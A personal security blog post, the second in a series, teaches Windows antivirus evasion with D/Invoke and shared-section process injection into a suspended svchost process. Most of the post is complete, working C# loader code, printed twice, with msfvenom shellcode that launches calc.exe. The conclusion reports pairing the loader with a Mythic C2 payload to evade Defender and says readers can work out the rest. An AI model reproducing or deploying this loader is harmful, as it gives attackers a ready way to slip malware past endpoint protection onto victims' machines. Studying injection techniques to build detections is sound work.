It’s been a month since my first part to this “series” and now I’m getting more familiarized with this stuff. Last post covered Platform Invoke (Pinvoke), Remote Process Injection, and Donut. This post will focus on taking these techniques to the next level with the following: Dynamic Invocation (Dinvoke) and “Section Injection”. Dynamic Invocation will help us bypass static IAT signatures and Section Injection is basically Remote Process Injection but we won’t have to directly write into another process’s memory space.
Dinvoke
Dinvoke is created by TheWover, who also made Donut. His blog post covers the tool in depth, so I’ll only be explaining our use case for it here. Basically, the issue with Pinvoke is that its usage creates signatures on our executables; the IAT (Import Address Table) will show all of the unmanaged functions/Win32 API calls we’re importing. This makes our program easily detectable by AV or EDRs. We will go into avoiding hooking into the next part of this series; for now, we take one step at a time.
So how does usage of Dinvoke help us avoid this? Dinvoke, as its name implies, it will dynamically access unmanaged code to provide us a way to use its functions without statically importing them like Pinvoke. Dinvoke provides many ways to do this, but we will focus on its DynamicFunctionInvoke
function for our use case. This function will check if the necessary DLL is loaded in the process and will load it if it isn’t. Then, it finds our function within the dll. Dinvoke can then utilize a delegate to call the function. A delegate is pretty similar to a function pointer and we will use it similarly in our case. Let’s use a simple example; accessing the Win32 API call, Sleep
from Kernel32.dll
without Pinvoke. To further help avoid static detection, I will utilize rasta-mouse’s repo which provides the core Dinvoke code that we’ll need.
using System.Runtime.InteropServices;
namespace Dinvoke
{
public class Delegates
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate void Sleep(uint ms);
}
}
Here we declare our delegate which we will use as a pointer a function within the unmanaged code; in this case, the Sleep
function within Kernel32.dll
. The directive above the delegate declaration is called an attribute
and, according to Microsoft documentation, it helps repurpose this delegate to be used as a function pointer to unmanaged code. Within the Main function of our code, we will add these lines:
IntPtr pointer = DynamicInvoke.Generic.GetLibraryAddress("kernel32.dll", "Sleep");
Delegates.Sleep dinvokeMarshalSleep = Marshal.GetDelegateForFunctionPointer(pointer, typeof(Delegates.Sleep)) as Delegates.Sleep;
dinvokeMarshalSleep(1000);
The first line will grab a pointer to the Sleep
function within kernel32.dll
, while the second one creates an instance of our Sleep
delegate. The Marshal.GetDelegateforFunctionPointer
function returns a delegate that will point to a function written in unmanaged code; it will use our pointer
variable to determine which the location of which function this delegate points to. Additionally, Marshal.GetDelegateforFunctionPointer
is using our Sleep
delegate as a function prototype so we can pass in our managed code arguments to the function in unmanaged code smoothly. In other words, the function pointer returned by Marshal.GetDelegateforFunctionPointer
will point to the function at the pointer
variable, and it will use the Sleep
delegate to figure out the argument count and types that will be passed.
This process can also be done like this:
static void dinvokeDynamicSleep(uint ms)
{
object[] funcargs = { ms };
DynamicInvoke.Generic.DynamicApiInvoke("kernel32.dll", "Sleep", typeof(Delegates.Sleep), ref funcargs);
}
dinvokeDynamicSleep(1000);
The DynamicInvoke.Generic.DynamicApiInvoke
function actually does the whole GetLibraryAddress
and Marshal.GetDelegateForFunctionPointer
for us, but its up to you which implementation you feel like using.
“Section Injection”
I call this “Section Injection” because I couldn’t find any sort of official name on the technique, but it still falls under Process Injection. According to Microsoft documentation, sections
are literal sections of memory that can be shared between processes. Sections have views
, which are the visible part of the section to other processes, and creating a view is called mapping
. This can be performed through using the Native APIs NtCreateSection
and NtMapViewOfSection
. Native APIs are actually what the Win32 APIs call on internally. We’ll also need CreateProcess
to create a process and CreateRemoteThread
to create a thread in the victim process that will trigger the shellcode in the view of our section. The reason I opted for this techique is because it seemed sneakier; rather than injecting shellcode to antoher process, we’re writing to a shared space (the section) that we create.
Piecing it Together
We’ll start off by creating our delegates and function wrappers for the delegates (I’m going with the DynamicInvoke.Generic.DynamicApiInvoke
approach). The dataypes for the arguments I used in the delegates were based on the Pinvoke entries. Also, the Structs
class is omitted since it is very long (it’s just a bunch of constant values and datatypes), but I’ll include the full code at the end.
using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.IO;
using System.Collections.Generic;
using System.Diagnostics;
using System.Threading;
namespace Dinvoke
{
public class Delegates
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out IntPtr lpThreadId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Boolean CreateProcess(
string lpApplicationName,
string lpCommandLine,
ref Structs.SECURITY_ATTRIBUTES lpProcessAttributes,
ref Structs.SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandles,
Structs.ProcessCreationFlags
dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
[In] ref Structs.STARTUPINFO lpStartupInfo,
out Structs.PROCESS_INFORMATION lpProcessInformation);
}
class Program
{
public static IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out IntPtr lpThreadId)
{
lpThreadId = IntPtr.Zero;
object[] funcargs =
{
hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId
};
IntPtr retValue = (IntPtr)DynamicInvoke.Generic.DynamicApiInvoke("kernel32.dll", "CreateRemoteThread", typeof(Delegates.CreateRemoteThread), ref funcargs);
lpThreadId = (IntPtr)funcargs[6];
return retValue;
}
public static Boolean CreateProcess(
string lpApplicationName,
string lpCommandLine,
ref Structs.SECURITY_ATTRIBUTES lpProcessAttributes,
ref Structs.SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandles,
Structs.ProcessCreationFlags dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref Structs.STARTUPINFO lpStartupInfo,
out Structs.PROCESS_INFORMATION lpProcessInformation)
{
lpProcessInformation = new Structs.PROCESS_INFORMATION();
object[] funcargs =
{
lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation
};
Boolean retValue = (Boolean)DynamicInvoke.Generic.DynamicApiInvoke("kernel32.dll", "CreateProcessA", typeof(Delegates.CreateProcess), ref funcargs);
lpProcessInformation = (Structs.PROCESS_INFORMATION)funcargs[9];
return retValue;
}
public void Main()
{
Structs.STARTUPINFO si = new Structs.STARTUPINFO();
Structs.PROCESS_INFORMATION pi = new Structs.PROCESS_INFORMATION();
Structs.SECURITY_ATTRIBUTES lpa = new Structs.SECURITY_ATTRIBUTES();
Structs.SECURITY_ATTRIBUTES lta = new Structs.SECURITY_ATTRIBUTES();
bool succ = CreateProcess(null, "C:\\windows\\system32\\svchost.exe", ref lpa, ref lta, false, Structs.ProcessCreationFlags.CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);
if (succ)
{
Console.WriteLine("[+] Process Created");
}
//msfvenom -p windows/x64/exec CMD="calc.exe" EXITFUNC=thread -f csharp
byte[] buf = new byte[276]
{
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x2e,0x65,0x78,0x65,0x00
};
}
}
}
The first few lines of the main function instantiate some data types. We will then use CreateProcess
to create a svchost process as our victim and pass in a Structs.PROCESS_INFORMATION
struct (si
) by reference that will update this data; this variable will now contain information about the process we created. Some things to note: we won’t have to create delegates and function wrappers for the Native APIs that we are using because rasta-mouse’s repo and which already has them implemented. Also, the values being set at the end of some of my delegate wrappers CreateProcess
and CreateRemoteThread
are necessary because the respective delegates update the variable being passed in, but since an object array, which contains copies of the values, is being passed in, the actual variable value is never updated. Next, add the following to the Main
function
IntPtr sectionHandle = IntPtr.Zero;
ulong maxSize = (uint)buf.Length;
uint SECTION_ALL_ACCESS = 0x0F001F;
uint PAGE_EXECUTE_READWRITE = 0x40;
uint SEC_COMMIT = 0x8000000;
DynamicInvoke.Native.NtCreateSection(ref sectionHandle, SECTION_ALL_ACCESS, IntPtr.Zero, ref maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, IntPtr.Zero);
We’ll need a pointer that can be used to point to the location of the section, so we’ll use sectionHandle
. The maxSize
is the max size of the section; we’ll just use our payload size. The other values are constants that will give the section certain properties. The value of SECTION_ALL_ACCESS
is an ACCESS_MASK value gives full access to anybody accessing this section (we’ll need this since we plan to make the victim process access this section). PAGE_EXECUTE_READWRITE
will make the memory pages in this section read, write, and executable. SEC_COMMIT
will apply these properties to the section. The other values are IntPtr.Zero
which serves as a default value. For more information, view the Microsoft documentation. Next, add the following:
IntPtr hlocalBaseAddress = IntPtr.Zero;
IntPtr hRemoteBaseAddress = IntPtr.Zero;
uint PAGE_READWRITE = 0x04;
uint PAGE_EXECUTE_READ = 0x20;
DynamicInvoke.Native.NtMapViewOfSection(sectionHandle, Process.GetCurrentProcess().Handle, ref hlocalBaseAddress, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref maxSize, 2, 0, PAGE_READWRITE);
DynamicInvoke.Native.NtMapViewOfSection(sectionHandle, pi.hProcess, ref hRemoteBaseAddress, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref maxSize, 2, 0, PAGE_EXECUTE_READ);
These lines will map views onto our section, or basically grant access to this section to our process and the victim process. We will need a pointer to the location where the view is mapped for both local and remote process, so we declare pointers in the first two lines. The third line uses the sectionHandle
variable to find the address of the section it will map a view on. It then maps this view for our current process and will use hlocalBaseAddress
to store the location of this new view. We’ll declare some default values with IntPtr.Zero
, use the maxSize
variable to dictate how large the view will be, specify 2
so that the view won’t be mapped into child processes, and we’ll specify PAGE_READWRITE
because we won’t be executing the shellcode from this view (we are executing it from the victim process). For making the view on the remote process, its mostly the same except we’ll pass in parameters related to the remote process, such as the handle. However, it will pass PAGE_EXECUTE_READ
since we’ll be executing shellcode from this view. Next we’ll add:
IntPtr lpThreadId = IntPtr.Zero;
Marshal.Copy(buf, 0, hlocalBaseAddress, buf.Length);
CreateRemoteThread(pi.hProcess, IntPtr.Zero, 0, hRemoteBaseAddress, IntPtr.Zero, 0, out lpThreadId);
We’ll use Marshal.Copy
to write our shellcode into our view, and since views of the section are shared, the view on the remote process will have the same shellcode written in. We can then create a thread on that process to execute our code. The full code (excluding the imported code from rasta-mouse’s repo) is shown below, along with a demo.
using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.IO;
using System.Collections.Generic;
using System.Diagnostics;
using System.Threading;
namespace Dinvoke
{
public class Delegates
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out IntPtr lpThreadId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Boolean CreateProcess(
string lpApplicationName,
string lpCommandLine,
ref Structs.SECURITY_ATTRIBUTES lpProcessAttributes,
ref Structs.SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandles,
Structs.ProcessCreationFlags
dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
[In] ref Structs.STARTUPINFO lpStartupInfo,
out Structs.PROCESS_INFORMATION lpProcessInformation);
}
class Program
{
public static IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out IntPtr lpThreadId)
{
lpThreadId = IntPtr.Zero;
object[] funcargs =
{
hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId
};
IntPtr retValue = (IntPtr)DynamicInvoke.Generic.DynamicApiInvoke("kernel32.dll", "CreateRemoteThread", typeof(Delegates.CreateRemoteThread), ref funcargs);
lpThreadId = (IntPtr)funcargs[6];
return retValue;
}
public static Boolean CreateProcess(
string lpApplicationName,
string lpCommandLine,
ref Structs.SECURITY_ATTRIBUTES lpProcessAttributes,
ref Structs.SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandles,
Structs.ProcessCreationFlags dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref Structs.STARTUPINFO lpStartupInfo,
out Structs.PROCESS_INFORMATION lpProcessInformation)
{
lpProcessInformation = new Structs.PROCESS_INFORMATION();
object[] funcargs =
{
lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation
};
Boolean retValue = (Boolean)DynamicInvoke.Generic.DynamicApiInvoke("kernel32.dll", "CreateProcessA", typeof(Delegates.CreateProcess), ref funcargs);
lpProcessInformation = (Structs.PROCESS_INFORMATION)funcargs[9];
return retValue;
}
public static void Main()
{
Structs.STARTUPINFO si = new Structs.STARTUPINFO();
Structs.PROCESS_INFORMATION pi = new Structs.PROCESS_INFORMATION();
Structs.SECURITY_ATTRIBUTES lpa = new Structs.SECURITY_ATTRIBUTES();
Structs.SECURITY_ATTRIBUTES lta = new Structs.SECURITY_ATTRIBUTES();
bool succ = CreateProcess(null, "C:\\windows\\system32\\svchost.exe", ref lpa, ref lta, false, Structs.ProcessCreationFlags.CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);
if (succ)
{
Console.WriteLine("[+] Process Created");
}
//msfvenom -p windows/x64/exec CMD="calc.exe" EXITFUNC=thread -f csharp
byte[] buf = new byte[276]
{
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x2e,0x65,0x78,0x65,0x00
};
IntPtr sectionHandle = IntPtr.Zero;
ulong maxSize = (uint)buf.Length;
uint SECTION_ALL_ACCESS = 0x0F001F;
uint PAGE_EXECUTE_READWRITE = 0x40;
uint SEC_COMMIT = 0x8000000;
DynamicInvoke.Native.NtCreateSection(ref sectionHandle, SECTION_ALL_ACCESS, IntPtr.Zero, ref maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, IntPtr.Zero);
IntPtr hlocalBaseAddress = IntPtr.Zero;
IntPtr hRemoteBaseAddress = IntPtr.Zero;
uint PAGE_READWRITE = 0x04;
uint PAGE_EXECUTE_READ = 0x20;
DynamicInvoke.Native.NtMapViewOfSection(sectionHandle, Process.GetCurrentProcess().Handle, ref hlocalBaseAddress, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref maxSize, 2, 0, PAGE_READWRITE);
DynamicInvoke.Native.NtMapViewOfSection(sectionHandle, pi.hProcess, ref hRemoteBaseAddress, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref maxSize, 2, 0, PAGE_EXECUTE_READ);
Marshal.Copy(buf, 0, hlocalBaseAddress, buf.Length);
IntPtr lpThreadId = IntPtr.Zero;
CreateRemoteThread(pi.hProcess, IntPtr.Zero, 0, hRemoteBaseAddress, IntPtr.Zero, 0, out lpThreadId);
}
public class Structs
{
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
}
}
}
Conclusion
Overall, learning how to take improve my evasion tradecraft has been pretty fun but daunting. There’s much more to Dinvoke to explore, so I’ll eventually write up more findings. As for now, I’ve been testing it with Mythic C2 and an embedded, base64 encoded donut shellcode file which has been successful at evading Defender, so thats pretty cool. It’s not too complicated, so you guys can probably figure out how to get there from what was shown here.
– Dylan Tran 6/26/22